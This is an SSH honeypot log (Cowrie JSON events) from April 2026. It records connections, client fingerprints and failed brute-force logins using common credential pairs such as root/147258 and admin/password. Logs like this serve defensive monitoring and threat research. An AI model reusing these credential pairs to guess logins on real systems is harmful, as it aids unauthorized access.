{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:40.400290Z","src_ip":"176.65.139.95","session":"e71c612c74a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53066,"dst_ip":"159.203.135.109","dst_port":22,"session":"cfd38e78bc11","protocol":"ssh","message":"New connection: 176.65.139.95:53066 (159.203.135.109:22) [session: cfd38e78bc11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:45.573201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:45.578683Z","src_ip":"176.65.139.95","session":"cfd38e78bc11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:45.692967Z","src_ip":"176.65.139.95","session":"cfd38e78bc11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"1","message":"login attempt [postgres/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:46.034676Z","src_ip":"176.65.139.95","session":"cfd38e78bc11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:47.126758Z","src_ip":"176.65.139.95","session":"cfd38e78bc11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55150,"dst_ip":"159.203.135.109","dst_port":22,"session":"796027f15df9","protocol":"ssh","message":"New connection: 176.65.139.95:55150 (159.203.135.109:22) [session: 796027f15df9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:52.224300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:52.237188Z","src_ip":"176.65.139.95","session":"796027f15df9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:52.316833Z","src_ip":"176.65.139.95","session":"796027f15df9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:52.709448Z","src_ip":"176.65.139.95","session":"796027f15df9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:53.812845Z","src_ip":"176.65.139.95","session":"796027f15df9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":52996,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecfa8aab46af","protocol":"ssh","message":"New connection: 80.94.92.186:52996 (159.203.135.109:22) [session: ecfa8aab46af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:57.384516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:57.406024Z","src_ip":"80.94.92.186","session":"ecfa8aab46af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:57.587725Z","src_ip":"80.94.92.186","session":"ecfa8aab46af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"fuckyou","message":"login attempt [solana/fuckyou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:58.127304Z","src_ip":"80.94.92.186","session":"ecfa8aab46af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52494,"dst_ip":"159.203.135.109","dst_port":22,"session":"1eb4b927b6e6","protocol":"ssh","message":"New connection: 176.65.139.95:52494 (159.203.135.109:22) [session: 1eb4b927b6e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:58.752035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:58.756931Z","src_ip":"176.65.139.95","session":"1eb4b927b6e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:58.859886Z","src_ip":"176.65.139.95","session":"1eb4b927b6e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:59.159075Z","src_ip":"176.65.139.95","session":"1eb4b927b6e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:39:59.355191Z","src_ip":"80.94.92.186","session":"ecfa8aab46af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:00.249261Z","src_ip":"176.65.139.95","session":"1eb4b927b6e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52508,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ce9bcf4ff13","protocol":"ssh","message":"New connection: 176.65.139.95:52508 (159.203.135.109:22) [session: 5ce9bcf4ff13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:05.332601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:05.337952Z","src_ip":"176.65.139.95","session":"5ce9bcf4ff13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:05.437011Z","src_ip":"176.65.139.95","session":"5ce9bcf4ff13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:05.712885Z","src_ip":"176.65.139.95","session":"5ce9bcf4ff13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:07.088518Z","src_ip":"176.65.139.95","session":"5ce9bcf4ff13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52138,"dst_ip":"159.203.135.109","dst_port":22,"session":"90114447a175","protocol":"ssh","message":"New connection: 176.65.139.95:52138 (159.203.135.109:22) [session: 90114447a175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:12.088052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:12.099230Z","src_ip":"176.65.139.95","session":"90114447a175","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:12.197527Z","src_ip":"176.65.139.95","session":"90114447a175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51434,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9e7d893893a","protocol":"ssh","message":"New connection: 159.203.92.129:51434 (159.203.135.109:22) [session: a9e7d893893a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:12.474293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:12.483871Z","src_ip":"159.203.92.129","session":"a9e7d893893a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:12.516020Z","src_ip":"159.203.92.129","session":"a9e7d893893a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"IEUser","password":"D@rj33l1ng","message":"login attempt [IEUser/D@rj33l1ng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:12.580703Z","src_ip":"159.203.92.129","session":"a9e7d893893a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:12.721227Z","src_ip":"176.65.139.95","session":"90114447a175","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:13.605817Z","src_ip":"159.203.92.129","session":"a9e7d893893a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:13.819568Z","src_ip":"176.65.139.95","session":"90114447a175","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54596,"dst_ip":"159.203.135.109","dst_port":22,"session":"1941eac85a1a","protocol":"ssh","message":"New connection: 176.65.139.95:54596 (159.203.135.109:22) [session: 1941eac85a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:18.932823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:18.969491Z","src_ip":"176.65.139.95","session":"1941eac85a1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:19.330194Z","src_ip":"176.65.139.95","session":"1941eac85a1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user2","password":"123456","message":"login attempt [user2/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:19.697117Z","src_ip":"176.65.139.95","session":"1941eac85a1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:20.817870Z","src_ip":"176.65.139.95","session":"1941eac85a1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":54604,"dst_ip":"159.203.135.109","dst_port":22,"session":"13070320a06c","protocol":"ssh","message":"New connection: 176.65.139.95:54604 (159.203.135.109:22) [session: 13070320a06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:26.051819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:40:26.059300Z","src_ip":"176.65.139.95","session":"13070320a06c","protocol":"ssh"}
